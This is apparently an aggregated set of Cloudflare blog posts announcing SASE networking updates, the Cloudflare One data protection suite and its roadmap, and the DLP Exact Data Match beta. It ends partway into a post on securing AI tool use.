Single-vendor SASE is a critical trend to converge disparate security and networking technologies, yet enterprise “any-to-any connectivity” needs true network modernization for SASE to work for all teams. Over the past few years, Cloudflare has launched capabilities to help organizations modernize their networks as they navigate their short- and long-term roadmaps of SASE use cases. We’ve helped simplify SASE implementation, regardless of the team leading the initiative.

Announcing (even more!) flexible on-ramps for single-vendor SASE

Today, we are announcing a series of updates to our SASE platform, Cloudflare One, that further the promise of a single-vendor SASE architecture. Through these new capabilities, Cloudflare makes SASE networking more flexible and accessible for security teams, more efficient for traditional networking teams, and uniquely extend its reach to an underserved technical team in the larger SASE connectivity conversation: DevOps.

These platform updates include:

  • Flexible on-ramps for site-to-site connectivity that enable both agent/proxy-based and appliance/routing-based implementations, simplifying SASE networking for both security and networking teams.
  • New WAN-as-a-service (WANaaS) capabilities like high availability, application awareness, a virtual machine deployment option, and enhanced visibility and analytics that boost operational efficiency while reducing network costs through a “light branch, heavy cloud” approach.
  • Zero Trust connectivity for DevOps: mesh and peer-to-peer (P2P) secure networking capabilities that extend ZTNA to support service-to-service workflows and bidirectional traffic.

Cloudflare offers a wide range of SASE on- and off-ramps — including connectors for your WAN, applications, services, systems, devices, or any other internal network resources — to more easily route traffic to and from Cloudflare services. This helps organizations align with their best fit connectivity paradigm, based on existing environment, technical familiarity, and job role.

We recently dove into the Magic WAN Connector in a separate blog post and have explained how all our on-ramps fit together in our SASE reference architecture, including our new WARP Connector. This blog focuses on the main impact those technologies have for customers approaching SASE networking from different angles.

More flexible and accessible for security teams

The process of implementing a SASE architecture can challenge an organization’s status quo for internal responsibilities and collaboration across IT, security, and networking. Different teams own various security or networking technologies whose replacement cycles are not necessarily aligned, which can reduce the organization’s willingness to support particular projects.

Security or IT practitioners need to be able to protect resources no matter where they reside. Sometimes a small connectivity change would help them more efficiently protect a given resource, but the task is outside their domain of control. Security teams don’t want to feel reliant on their networking teams in order to do their jobs, and yet they also don’t need to cause downstream trouble with existing network infrastructure. They need an easier way to connect subnets, for instance, without feeling held back by bureaucracy.

Agent/proxy-based site-to-site connectivity

To help push these security-led projects past the challenges associated with traditional siloes, Cloudflare offers both agent/proxy-based and appliance/routing-based implementations for site-to-site or subnet-to-subnet connectivity. This way, networking teams can pursue the traditional networking concepts with which they are familiar through our appliance/routing-based WANaaS — a modern architecture vs. legacy SD-WAN overlays. Simultaneously, security/IT teams can achieve connectivity through agent/proxy-based software connectors (like the WARP Connector) that may be more approachable to implement. This agent-based approach blurs the lines between industry norms for branch connectors and app connectors, bringing WAN and ZTNA technology closer together to help achieve least-privileged access everywhere.

Agent/proxy-based connectivity may be a complementary fit for a subset of an organization’s total network connectivity. These software-driven site-to-site use cases could include microsites with no router or firewall, or perhaps cases in which teams are unable to configure IPsec or GRE tunnels like in tightly regulated managed networks or cloud environments like Kubernetes. Organizations can mix and match traffic on-ramps to fit their needs; all options can be used composably and concurrently.

Our agent/proxy-based approach to site-to-site connectivity uses the same underlying technology that helps security teams fully replace VPNs, supporting ZTNA for apps with server-initiated or bidirectional traffic. These include services such as Voice over Internet Protocol (VoIP) and Session Initiation Protocol (SIP) traffic, Microsoft’s System Center Configuration Manager (SCCM), Active Directory (AD) domain replication, and as detailed later in this blog, DevOps workflows.

This new Cloudflare on-ramp enables site-to-site, bidirectional, and mesh networking connectivity without requiring changes to underlying network routing infrastructure, acting as a router for the subnet within the private network to on-ramp and off-ramp traffic through Cloudflare.

More efficient for networking teams

Meanwhile, for networking teams who prefer a network-layer appliance/routing-based implementation for site-to-site connectivity, the industry norms still force too many tradeoffs between security, performance, cost, and reliability. Many (if not most) large enterprises still rely on legacy forms of private connectivity such as MPLS. MPLS is generally considered expensive and inflexible, but it is highly reliable and has features such as quality of service (QoS) that are used for bandwidth management.

Commodity Internet connectivity is widely available in most parts of the inhabited world, but has a number of challenges which make it an imperfect replacement to MPLS. In many countries, high speed Internet is fast and cheap, but this is not universally true. Speed and costs depend on the local infrastructure and the market for regional service providers. In general, broadband Internet is also not as reliable as MPLS. Outages and slowdowns are not unusual, with customers having varying degrees of tolerance to the frequency and duration of disrupted service. For businesses, outages and slowdowns are not tolerable. Disruptions to network service means lost business, unhappy customers, lower productivity and frustrated employees. Thus, despite the fact that a significant amount of corporate traffic flows have shifted to the Internet anyway, many organizations face difficulty migrating away from MPLS.

SD-WAN introduced an alternative to MPLS that is transport neutral and improves networking stability over conventional broadband alone. However, it introduces new topology and security challenges. For example, many SD-WAN implementations can increase risk if they bypass inspection between branches. It also has implementation-specific challenges such as how to address scaling and the use/control (or more precisely, the lack of) a middle mile. Thus, the promise of making a full cutover to Internet connectivity and eliminating MPLS remains unfulfilled for many organizations.  These issues are also not very apparent to some customers at the time of purchase and require continuing market education.

Evolution of the enterprise WAN

Cloudflare Magic WAN follows a different paradigm built from the ground up in Cloudflare’s connectivity cloud; it takes a “light branch, heavy cloud” approach to augment and eventually replace existing network architectures including MPLS circuits and SD-WAN overlays. While Magic WAN has similar cloud-native routing and configuration controls to what customers would expect from traditional SD-WAN, it is easier to deploy, manage, and consume. It scales with changing business requirements, with security built in. Customers like Solocal agree that the benefits of this architecture ultimately improve their total cost of ownership:

“Cloudflare’s Magic WAN Connector offers a centralized and automated management of network and security infrastructure, in an intuitive approach. As part of Cloudflare’s SASE platform, it provides a consistent and homogeneous single-vendor architecture, founded on market standards and best practices. Control over all data flows is ensured, and risks of breaches or security gaps are reduced. It is obvious to Solocal that it should provide us with significant savings, by reducing all costs related to acquiring, installing, maintaining, and upgrading our branch network appliances by up to 40%. A high-potential connectivity solution for our IT to modernize our network.”
– Maxime Lacour, Network Operations Manager, Solocal

This is quite different from other single-vendor SASE vendor approaches which have been trying to reconcile acquisitions that were designed around fundamentally different design philosophies. These “stitched together” solutions lead to a non-converged experience due to their fragmented architectures, similar to what organizations might see if they were managing multiple separate vendors anyway. Consolidating the components of SASE with a vendor that has built a unified, integrated solution, versus piecing together different solutions for networking and security, significantly simplifies deployment and management by reducing complexity, bypassed security, and potential integration or connectivity challenges.

Magic WAN can automatically establish IPsec tunnels to Cloudflare via our Connector device, manually via Anycast IPsec or GRE Tunnels initiated on a customer’s edge router or firewall, or via Cloudflare Network Interconnect (CNI) at private peering locations or public cloud instances. It pushes beyond “integration” claims with SSE to truly converge security and networking functionality and help organizations more efficiently modernize their networks.

New Magic WAN Connector capabilities

In October 2023, we announced the general availability of the Magic WAN Connector, a lightweight device that customers can drop into existing network environments for zero-touch connectivity to Cloudflare One, and ultimately used to replace other networking hardware such as legacy SD-WAN devices, routers, and firewalls. Today, we’re excited to announce new capabilities of the Magic WAN Connector including:

  • High Availability (HA) configurations for critical environments: In enterprise deployments, organizations generally desire support for high availability to mitigate the risk of hardware failure. High availability uses a pair of Magic WAN Connectors (running as a VM or on a supported hardware device) that work in conjunction with one another to seamlessly resume operation if one device fails. Customers can manage HA configuration, like all other aspects of the Magic WAN Connector, from the unified Cloudflare One dashboard.
  • Application awareness: One of the central differentiating features of SD-WAN vs. more traditional networking devices has been the ability to create traffic policies based on well-known applications, in addition to network-layer attributes like IP and port ranges. Application-aware policies provide easier management and more granularity over traffic flows. Cloudflare’s implementation of application awareness leverages the intelligence of our global network, using the same categorization/classification already shared across security tools like our Secure Web Gateway, so IT and security teams can expect consistent behavior across routing and inspection decisions – a capability not available in dual-vendor or stitched-together SASE solutions.
  • Virtual machine deployment option: The Magic WAN Connector is now available as a virtual appliance software image, that can be downloaded for immediate deployment on any supported virtualization platform / hypervisor. The virtual Magic WAN Connector has the same ultra-low-touch deployment model and centralized fleet management experience as the hardware appliance, and is offered to all Magic WAN customers at no additional cost.
  • Enhanced visibility and analytics: The Magic WAN Connector features enhanced visibility into key metrics such as connectivity status, CPU utilization, memory consumption, and device temperature. These analytics are available via dashboard and API so operations teams can integrate the data into their NOCs.

Extending SASE’s reach to DevOps

Complex continuous integration and continuous delivery (CI/CD) pipeline interaction is famous for being agile, so the connectivity and security supporting these workflows should match. DevOps teams too often rely on traditional VPNs to accomplish remote access to various development and operational tools. VPNs are cumbersome to manage, susceptible to exploit with known or zero-day vulnerabilities, and use a legacy hub-and-spoke connectivity model that is too slow for modern workflows.

Of any employee group, developers are particularly capable of finding creative workarounds that decrease friction in their daily workflows, so all corporate security measures need to “just work,” without getting in their way. Ideally, all users and servers across build, staging, and production environments should be orchestrated through centralized, Zero Trust access controls, no matter what components and tools are used and no matter where they are located. Ad hoc policy changes should be accommodated, as well as temporary Zero Trust access for contractors or even emergency responders during a production server incident.

Zero Trust connectivity for DevOps

ZTNA works well as an industry paradigm for secure, least-privileged user-to-app access, but it should extend further to secure networking use cases that involve server-initiated or bidirectional traffic. This follows an emerging trend that imagines an overlay mesh connectivity model across clouds, VPCs, or network segments without a reliance on routers. For true any-to-any connectivity, customers need flexibility to cover all of their network connectivity and application access use cases. Not every SASE vendor’s network on-ramps can extend beyond client-initiated traffic without requiring network routing changes or making security tradeoffs, so generic “any-to-any connectivity” claims may not be what they initially seem.

Cloudflare extends the reach of ZTNA to ensure all user-to-app use cases are covered, plus mesh and P2P secure networking to make connectivity options as broad and flexible as possible. DevOps service-to-service workflows can run efficiently on the same platform that accomplishes ZTNA, VPN replacement, or enterprise-class SASE. Cloudflare acts as the connectivity “glue” across all DevOps users and resources, regardless of the flow of traffic at each step. This same technology, i.e., WARP Connector, enables admins to manage different private networks with overlapping IP ranges — VPC & RFC1918, support server-initiated traffic and P2P apps (e.g., SCCM, AD, VoIP & SIP traffic) connectivity over existing private networks, build P2P private networks (e.g., CI/CD resource flows), and deterministically route traffic. Organizations can also automate management of their SASE platform with Cloudflare’s Terraform provider.

The Cloudflare difference

Cloudflare’s single-vendor SASE platform, Cloudflare One, is built on our connectivity cloud — the next evolution of the public cloud, providing a unified, intelligent platform of programmable, composable services that enable connectivity between all networks (enterprise and Internet), clouds, apps, and users. Our connectivity cloud is flexible enough to make “any-to-any connectivity” a more approachable reality for organizations implementing a SASE architecture, accommodating deployment preferences alongside prescriptive guidance. Cloudflare is built to offer the breadth and depth needed to help organizations regain IT control through single-vendor SASE and beyond, while simplifying workflows for every team that contributes along the way.

Other SASE vendors designed their data centers for egress traffic to the Internet. They weren’t designed to handle or secure East-West traffic, providing neither middle mile nor security services for traffic passing from branch to HQ or branch to branch. Cloudflare’s middle mile global backbone supports security and networking for any-to-any connectivity, whether users are on-prem or remote, and whether apps are in the data center or in the cloud.

To learn more, read our reference architecture, “Evolving to a SASE architecture with Cloudflare,” or talk to a Cloudflare One expert.

Cloudflare One for Data Protection

Post Syndicated from James Chang original http://blog.cloudflare.com/cloudflare-one-data-protection-announcement/

Cloudflare One for Data Protection

This post is also available in 日本語, 한국어, Deutsch, Français.

Cloudflare One for Data Protection

Data continues to explode in volume, variety, and velocity, and security teams at organizations of all sizes are challenged to keep up. Businesses face escalating risks posed by varied SaaS environments, the emergence of generative artificial intelligence (AI) tools, and the exposure and theft of valuable source code continues to keep CISOs and Data Officers up at night.

Over the past few years, Cloudflare has launched capabilities to help organizations navigate these risks and gain visibility and controls over their data — including the launches of our data loss prevention (DLP) and cloud access security broker (CASB) services in the fall of 2022.

Announcing Cloudflare One’s data protection suite

Today, we are building on that momentum and announcing Cloudflare One for Data Protection — our unified suite to protect data everywhere across web, SaaS, and private applications. Built on and delivered across our entire global network, Cloudflare One’s data protection suite is architected for the risks of modern coding and increased usage of AI.

Specifically, this suite converges capabilities across Cloudflare’s DLP, CASB, Zero Trust network access (ZTNA), secure web gateway (SWG), remote browser isolation (RBI), and cloud email security services onto a single platform for simpler management. All these services are available and packaged now as part of Cloudflare One, our SASE platform that converges security and network connectivity services.

A separate blog post published today looks back on what technologies and features we delivered over the past year and previews new functionality that customers can look forward to.

In this blog, we focus more on what impact those technologies and features have for customers in addressing modern data risks — with examples of practical use cases. We believe that Cloudflare One is uniquely positioned to deliver better data protection that addresses modern data risks. And by “better,” we mean:

  • Helping security teams be more effective protecting data by simplifying inline and API connectivity together with policy management
  • Helping employees be more productive by ensuring fast, reliable, and consistent user experiences
  • Helping organizations be more agile by innovating rapidly to meet evolving data security and privacy requirements

Harder than ever to secure data

Data spans more environments than most organizations can keep track of. In conversations with customers, three distinctly modern risks stick out:

  1. The growing diversity of cloud and SaaS environments: The apps where knowledge workers spend most of their time — like cloud email inboxes, shared cloud storage folders and documents, SaaS productivity and collaboration suites like Microsoft 365 — are increasingly targeted by threat actors for data exfiltration.
  2. Emerging AI tools: Business leaders are concerned about users oversharing sensitive information with opaque large language model tools like ChatGPT, but at the same time, want to leverage the benefits of AI.
  3. Source code exposure or theft: Developer code fuels digital business, but that same high-value source code can be exposed or targeted for theft across many developer tools like GitHub, including in plain sight locations like public repositories.

These latter two risks, in particular, are already intersecting. Companies like Amazon, Apple, Verizon, Deutsche Bank, and more are blocking employees from using tools like ChatGPT for fear of losing confidential data, and Samsung recently had an engineer accidentally upload sensitive code to the tool. As organizations prioritize new digital services and experiences, developers face mounting pressure to work faster and smarter. AI tools can help unlock that productivity, but the long-term consequences of oversharing sensitive data with these tools is still unknown.

All together, data risks are only primed to escalate, particularly as organizations accelerate digital transformation initiatives with hybrid work and development continuing to expand attack surfaces. At the same time, regulatory compliance will only become more demanding, as more countries and states adopt more stringent data privacy laws.

Traditional DLP services are not equipped to keep up with these modern risks. A combination of high setup and operational complexity plus negative user experiences means that, in practice, DLP controls are often underutilized or bypassed entirely. Whether deployed as a standalone platform or integrated into security products or SaaS applications, DLP products can often become expensive shelfware. And backhauling traffic through on-premise data protection hardware – whether, DLP, firewall and SWG appliances, or otherwise — create costs and slow user experiences that hold businesses back in the long run.

Figure 1: Modern data risks

Cloudflare One for Data Protection

How customers use Cloudflare for data protection

Today, customers are increasingly turning to Cloudflare to address these data risks, including a Fortune 500 natural gas company, a major US job site, a regional US airline, an Australian healthcare company and more. Across these customer engagements, three use cases are standing out as common focus areas when deploying Cloudflare One for data protection.

Use case #1: Securing AI tools and developer code (Applied Systems)

Applied Systems, an insurance technology & software company, recently deployed Cloudflare One to secure data in AI environments.

Specifically, the company runs the public instance of ChatGPT in an isolated browser, so that the security team can apply copy-paste blocks: preventing users from copying sensitive information (including developer code) from other apps into the AI tool. According to Chief Information Security Officer Tanner Randolph, “We wanted to let employees take advantage of AI while keeping it safe.”

This use case was just one of several Applied Systems tackled when migrating from Zscaler and Cisco to Cloudflare, but we see a growing interest in securing AI and developer code among our customers.

Use case #2: Data exposure visibility

Customers are leveraging Cloudflare One to regain visibility and controls over data exposure risks across their sprawling app environments. For many, the first step is analyzing unsanctioned app usage, and then taking steps to allow, block, isolate, or apply other controls to those resources. A second and increasingly popular step is scanning SaaS apps for misconfigurations and sensitive data via a CASB and DLP service, and then taking prescriptive steps to remediate via SWG policies.

A UK ecommerce giant with 7,5000 employees turned to Cloudflare for this latter step. As part of a broader migration strategy from Zscaler to Cloudflare, this company quickly set up API integrations between its SaaS environments and Cloudflare’s CASB and began scanning for misconfigurations. Plus, during this integration process, the company was able to sync DLP policies with Microsoft Pureview Information Protection sensitivity labels, so that it could use its existing framework to prioritize what data to protect. All in all, the company was able to begin identifying data exposure risks within a day.

Use case #3: Compliance with regulations

Comprehensive data regulations like GDPR, CCPA, HIPAA, and GLBA have been in our lives for some time now. But new laws are quickly emerging: for example, 11 U.S. states now have comprehensive privacy laws, up from just 3 in 2021. And updates to existing laws like PCI DSS now include stricter, more expansive requirements.

Customers are increasingly turning to Cloudflare One for compliance, in particular by ensuring they can monitor and protect regulated data (e.g. financial data, health data, PII, exact data matches, and more). Some common steps include first, detecting and applying controls to sensitive data via DLP, next, maintaining detailed audit trails via logs and further SIEM analysis, and finally, reducing overall risk with a comprehensive Zero Trust security posture.

Let’s look at a concrete example. One Zero Trust best practice that is increasingly required is multi-factor authentication (MFA). In the payment cards industry, PCI DSS v4.0, which takes effect in 2025, requires that requests to MFA be enforced for every access request to the cardholder data environment, for every user and for every location – including cloud environments, on-prem apps, workstations and more. (requirement 8.4.2). Plus, those MFA systems must be configured to prevent misuse – including replay attacks and bypass attempts – and must require at least two different factors that must be successful (requirement 8.5). To help organizations comply with both of these requirements, Cloudflare helps organizations enforce MFA across all apps and users – and in fact, we use our same services to enforce hard key authentication for our own employees.

Figure 2: Data protection use cases

Cloudflare One for Data Protection

The Cloudflare difference

Cloudflare One’s data protection suite is built to stay at the forefront of modern data risks to address these and other evolving use cases.

With Cloudflare, DLP is not just integrated with other typically distinct security services, like CASB, SWG, ZTNA, RBI, and email security, but converged onto a single platform with one control plane and one interface. Beyond the acronym soup, our network architecture is really what enables us to help organizations be more effective, more productive, and more agile with protecting data.

We simplify connectivity, with flexible options for you to send traffic to Cloudflare for enforcement. Those options include API-based scans of SaaS suites for misconfigurations and sensitive data. Unlike solutions that require security teams to get full app permissions from IT or business teams, Cloudflare can find risk exposure with read-only app permissions. Clientless deployments of ZTNA to secure application access and of browser isolation to control data within websites and apps are scalable for all users — employees and third-parties like contractors — for the largest enterprises. And when you do want to forward proxy traffic, Cloudflare offers one device client with self-enrollment permissions or wide area network on-ramps across security services. With so many practical ways to deploy, your data protection approach will be effective and functional — not shelfware.

Just like your data, our global network is everywhere, now spanning over 300 cities in over 100 countries. We have proven that we enforce controls faster than vendors like Zscaler, Netskope, and Palo Alto Networks — all with single-pass inspection. We ensure security is quick, reliable, and unintrusive, so you can layer on data controls without disruptive work productivity.

Our programmable network architecture enables us to build new capabilities quickly. And we rapidly adopt new security standards and protocols (like IPv6-only connections or HTTP/3 encryption) to ensure data protection remains effective. Altogether, this architecture equips us to evolve alongside changing data protection use cases, like protecting code in AI environments, and quickly deploy AI and machine learning models across our network locations to enforce higher precision, context-driven detections.

Figure 3: Unified data protection with Cloudflare

Cloudflare One for Data Protection

How to get started

Modern data risks demand modern security. We feel that Cloudflare One’s unified data protection suite is architected to help organizations navigate their priority risks today and in the future — whether that is securing developer code and AI tools, regaining visibility over SaaS apps, or staying compliant with evolving regulations.

If you’re ready to explore how Cloudflare can protect your data, request a workshop with our experts today.

Or to learn more about how Cloudflare One protects data, read today’s press release, visit our website, or dive deeper with our accompanying technical blog.

***

  1. The State of Secrets Sprawl 2023, GitGuardian
  2. Top Generative AI Statistics for 2023, Salesforce
  3. Cost of a Data Breach Report 2023, IBM
  4. 2023 “State of the CISO” report, conducted by Global Survey
  5. United Nations Conference on Trade & Development
  6. International Association of Privacy Professionals (IAPP)

What’s next for Cloudflare One’s data protection suite

Post Syndicated from Corey Mahan original http://blog.cloudflare.com/cloudflare-one-data-protection-roadmap-preview/

What’s next for Cloudflare One’s data protection suite

What’s next for Cloudflare One’s data protection suite

Today, we announced Cloudflare One for Data Protection — a unified suite to protect data everywhere across web, SaaS, and private applications. This suite converges capabilities including our data loss prevention (DLP), cloud access security broker (CASB), Zero Trust network access (ZTNA), secure web gateway (SWG), remote browser isolation (RBI), and cloud email security services. The suite is available and packaged now as part of Cloudflare One, our SASE platform.

In the announcement post, we focused on how the data protection suite helps customers navigate modern data risks, with recommended use cases and real-world customer examples.

In this companion blog post, we recap the capabilities built into the Cloudflare One suite over the past year and preview new functionality that customers can look forward to. This blog is best for practitioners interested in protecting data and SaaS environments using Cloudflare One.

DLP & CASB capabilities launched in the past year

Cloudflare launched both DLP and CASB services in September 2022, and since then have rapidly built functionality to meet the growing needs of our organizations of all sizes. Before previewing how these services will evolve, it is worth recapping the many enhancements added in the past year.

Cloudflare’s DLP solution helps organizations detect and protect sensitive data across their environment based on its several characteristics. DLP controls can be critical in preventing (and detecting) damaging leaks and ensuring compliance for regulated classes of data like financial, health, and personally identifiable information.

Improvements to DLP detections and policies can be characterized by three major themes:

  • Customization: making it easy for administrators to design DLP policies with the flexibility they want.
  • Deep detections: equipping administrators with increasingly granular controls over what data they protect and how.
  • Detailed detections: providing administrators with more detailed visibility and logs to analyze the efficacy of their DLP policies.

Cloudflare’s CASB helps organizations connect to, scan, and monitor third-party SaaS applications for misconfigurations, improper data sharing, and other security risks — all via lightweight API integrations. In this way, organizations can regain visibility and controls over their growing investments in SaaS apps.

CASB product enhancements can similarly be summarized by three themes:

  • Expanding API integrations: Today, our CASB integrates with 18 of the most popular SaaS apps — Microsoft 365 (including OneDrive), Google Workspace (including Drive), Salesforce, GitHub, and more. Setting up these API integrations takes fewer clicks than first-generation CASB solutions, with comparable coverage to other vendors in the Security Services Edge (SSE) space.
  • Strengthening findings of CASB scans: We have made it easier to remediate the misconfigurations identified by these CASB scans with both prescriptive guides and in-line policy actions built into the dashboard.
  • Converging CASB & DLP functionality: We started enabling organizations to scan SaaS apps for sensitive data, as classified by DLP policies. For example, this helps organizations detect when credit cards or social security numbers are in Google documents or spreadsheets that have been made publicly available to anyone on the Internet.

This last theme, in particular, speaks to the value of unifying data protection capabilities on a single platform for simple, streamlined workflows. The below table highlights some major capabilities launched since our general availability announcements last September.

Table 1: Select DLP and CASB capabilities shipped since 2022 Q4

Theme Capability Description
DLP: Customizability Microsoft Information Protection labels integration After a quick API integration, Cloudflare syncs continuously with the Microsoft Information Protection (MIP) labels you already use to streamline how you build DLP policies.
Custom DLP profiles Administrators can create custom detections using the same regex policy builder used across our entire Zero Trust platform for a consistent configuration experience across services.
Match count controls Administrators can set minimum thresholds for the number of times a detection is made before an action (like block or log) is triggered. This way, customers can create policies that allow individual transactions but block up/downloads with high volumes of sensitive data.
DLP: Deepening detection Context analysis Context analysis helps reduce false positive detections by analyzing proximity keywords (for example: seeing “expiration date” near a credit card number increases the likelihood of triggering a detection).
File type control DLP scans can be scoped to specific file types, such as Microsoft Office documents, PDF files, and ZIP files.
Expanded predefined DLP profiles Since launch, DLP has built out a wider variety of detections for common data types, like financial data, personal identifiers, and credentials.
DLP: Detailed detections Expanded logging details Cloudflare now captures more wide-ranging and granular details of DLP-related activity in logs, including payload analysis, file names, and higher fidelity details of individual files. A large percentage of our customers prefer to push these logs to SIEM tools like DataDog and Sumo Logic.
CASB: Expanding integrations and findings API-based integrations
Managing findings
Today, Cloudflare integrates with 18 of the most widely used SaaS apps, including productivity suites, cloud storage, chat tools, and more.
API-based scans not only reveal misconfigurations, but also offer built-in HTTP policy creation workflows and step-by-step remediation guides.
DLP & CASB convergence Scanning for sensitive data in SaaS apps Today, organizations can set up CASB to scan every publicly accessible file in Google Workspace for text that matches a DLP profile (financial data, personal identifiers, etc.).

New and upcoming DLP & CASB functionality

Today’s launch of Cloudflare One’s data protection suite crystalizes our commitment to keep investing in DLP and CASB functionality across these thematic areas. Below we wanted to preview a few new and upcoming capabilities on the Cloudflare One’s data protection suite roadmap that will become available in the coming weeks for further visibility and controls across data environments.

Exact data matching with custom wordlists

Already shipped: Exact Data Match, moves from out of beta to general availability, allowing customers to tell Cloudflare’s DLP exactly what data to look for by uploading a dataset, which could include names, phone numbers, or anything else.

Next 30 days: Customers will soon be able to upload a list of specific words, create DLP policies to search for those important keywords in files, and block and log that activity.

How customers benefit: Administrators can be more specific about what they need to protect and save time creating policies by bulk uploading the data and terms that they care most about. Over time, many organizations have amassed long lists of terms configured for incumbent DLP services, and these customizable upload capabilities streamline migration from other vendors to Cloudflare. Just as with all other DLP profiles, Cloudflare searches for these custom lists and keywords within in-line traffic and in integrated SaaS apps.

Detecting source code and health data

Next 30 days: Soon, Clouflare’s DLP will include predefined profiles to detect developer source code and protected health information (PHI). Initially, code data will include languages like Python, Javascript, Java, and C++ — four of the most popular languages today — and PHI data will include medication and diagnosis names — two highly sensitive medical topics.

How customers benefit: These predefined profiles expand coverage to some of the most valuable — and in the case of PHI, one of the most regulated — types of data within an organization.

Converging API-driven CASB & DLP for data-at-rest protections

Next 30 days: Soon, organizations will be able to scan for sensitive data at rest in Microsoft 365 (e.g. OneDrive). API-based scans of these environments will flag, for example, whether credit card numbers, source code, or other data configured via DLP policies reside within publicly accessible files. Administrators can then take prescriptive steps to remediate via in-line CASB gateway policies.

Shipping by the end of the year: Within the next few months, this same integration will be available with GitHub.

How customers benefit: Between the existing Google Workspace integration and this upcoming Microsoft 365 integration, customers can scan for sensitive data across two of the most prominent cloud productivity suites — where users spend much of their time and where large percentages of organizational data lives. This new Microsoft integration represents a continued investment in streamlining security workflows across the Microsoft ecosystem — whether for managing identity and application access, enforcing device posture, or isolating risky users.

The GitHub integration also restores visibility over one of the most critical developer environments that is also increasingly a risk for data leaks. In fact, according to GitGuardian, 10 million hard-coded secrets were exposed in public GitHub commits in 2022, a figure that is up 67% from 2021 and only expected to grow. Preventing source code exposure on GitHub is a problem area our product team regularly hears from our customers, and we will continue to prioritize securing developer environments.

Layering on Zero Trust context: User Risk Score

Next 30 days: Cloudflare will introduce a risk score based on user behavior and activities that have been detected across Cloudflare One’s services. Organizations will be able to detect user behaviors that introduce risk from action like an Impossible Travel anomaly or detections from too many DLP violations in a given period of time. Shortly following the detection capabilities will be the option to take preventative or remediative policy actions, within the wider Cloudflare One suite. In this way, organizations can control access to sensitive data and applications based on changing risk factors and real-time context.

How customers benefit: Today, intensive time, labor, and money are spent on analyzing large volumes of log data to identify patterns of risk. Cloudflare's ‘out-of-the-box’ risk score simplifies that process, helping organizations gain visibility into and lock down suspicious activity with speed and efficiency.

How to get started

These are just some of the capabilities on our short-term roadmap, and we can’t wait to share more with you as the data protection suite evolves. If you’re ready to explore how Cloudflare One can protect your data, request a workshop with our experts today.

Or to learn more about how Cloudflare One protects data, read today’s press release, visit our website, or dive deeper with a technical demo.

DLP Exact Data Match beta now available

Post Syndicated from Noelle Kagan original http://blog.cloudflare.com/edm-beta/

DLP Exact Data Match beta now available

DLP Exact Data Match beta now available

The most famous data breaches–the ones that keep security practitioners up at night–involved the leak of millions of user records. Companies have lost names, addresses, email addresses, Social Security numbers, passwords, and a wealth of other sensitive information. Protecting this data is the highest priority of most security teams, yet many teams still struggle to actually detect these leaks.

Cloudflare’s Data Loss Prevention suite already includes the ability to identify sensitive data like credit card numbers, but with the volume of data being transferred every day, it can be challenging to understand which of the transactions that include sensitive data are actually problematic. We hear customers tell us, “I don’t care when one of my employees uses a personal credit card to buy something online. Tell me when one of my customers’ credit cards are leaked.”

In response, we looked for a method to distinguish between any credit card and one belonging to a specific customer. We are excited to announce the launch of our newest Data Loss Prevention feature, Exact Data Match. With Exact Data Match (EDM), customers securely tell us what data they want to protect, and then we identify, log, and block the presence or movement of that data. For example, if you provide us with a set of credit card numbers, we will DLP scan your traffic or repositories for only those cards. This allows you to create targeted DLP detections for your organization.

What is Exact Data Match?

Many Data Loss Prevention (DLP) detections begin with a generic identification of a pattern, often using a regular expression, and then are validated by additional criteria. Validation can leverage a wide range of techniques from checksums to machine learning models. However, this validates that the pattern is a credit card, not that it is your credit card.

With Exact Data Match, you tell us exactly the data you want to protect, but we never see it in cleartext. You provide a list of data of your choosing, such as a list of names, addresses, or credit card numbers, and that data is hashed before ever reaching Cloudflare. We store the hashes and scan your traffic or content for matches of the hashes. When we find a match, we log or block it according to your policy.

By using a finite list of data, we drastically reduce false positives compared to generic pattern matching. Meanwhile, hashing the data maintains your data privacy. Our goal is to meet your data protection and privacy needs.

How do I use it?

We now offer you the ability to upload DLP datasets. These allow you to provide batches of data to be used for your DLP detections.

DLP Exact Data Match beta now available

When creating a dataset, provide a name, description, and a file containing the data to match.

DLP Exact Data Match beta now available

When you upload the file, Cloudflare one-way hashes the data right in your browser. The hashed data is then transferred via API to Cloudflare, while the cleartext data never leaves the browser.

You can see the status of the upload in the datasets table.

DLP Exact Data Match beta now available

The dataset can now be added to a DLP profile for detection. You can also add other predefined and custom entries to the same DLP profile.

DLP Exact Data Match beta now available

DLP Profiles can be used for inline scanning and protection with Cloudflare Gateway or scanning your data at rest with Cloudflare CASB.

Can I join the beta?

Exact data match is now available for every DLP customer. If you are not a DLP customer but would like to learn more about Cloudflare One and DLP, reach out for a consultation.

What’s next?

Customers have many different formats to store data, and many different ways in which they want to monitor it. Our goal is to offer as much flexibility as your organization needs to meet your data protection goals.

A complete suite of Zero Trust security tools to get the most from AI

Post Syndicated from Sam Rhea original http://blog.cloudflare.com/zero-trust-ai-security/

A complete suite of Zero Trust security tools to get the most from AI

This post is also available in French, Spanish, German.

A collection of tools from Cloudflare One to help your teams use AI services safely

A complete suite of Zero Trust security tools to get the most from AI

Cloudflare One gives teams of any size the ability to safely use the best tools on the Internet without management headaches or performance challenges. We’re excited to announce Cloudflare One for AI, a new collection of features that help your team build with the latest AI services while still maintaining a Zero Trust security posture.

Large Language Models, Larger Security Challenges

A Large Language Model (LLM), like OpenAI’s GPT or Google’s Bard, consists of a neural network trained against a set of data to predict and generate text based on a prompt. Users can ask questions, solicit feedback, and lean on the service to create output from poetry to Cloudflare Workers applications.

The tools also bear an uncanny resemblance to a real human. As in some real-life personal conversations, oversharing can become a serious problem with these AI services. This risk multiplies due to the types of use cases where LLM models thrive. These tools can help developers solve difficult coding challenges or information workers create succinct reports from a mess of notes. While helpful, every input fed into a prompt becomes a piece of data leaving your organization’s control.

Some responses to tools like ChatGPT have been to try and ban the service outright; either at a corporate level or across an entire nation. We don’t think you should have to do that. Cloudflare One’s goal is to allow you to safely use the tools you need, wherever they live, without compromising performance. These features will feel familiar to any existing use of the Zero Trust products in Cloudflare One, but we’re excited to walk through cases where you can use the tools available right now to allow your team to take advantage of the latest LLM features.

Measure usage

SaaS applications make it easy for any user to sign up and start testing. That convenience also makes these tools a liability for IT budgets and security policies. Teams refer to this problem as “Shadow IT” – the adoption of applications and services outside the approved channels in an organization.

In terms of budget, we have heard from early adopter customers who know that their team members are beginning to experiment with LLMs, but they are not sure how to approach making a commercial licensing decision. What services and features do their users need and how many seats should they purchase?

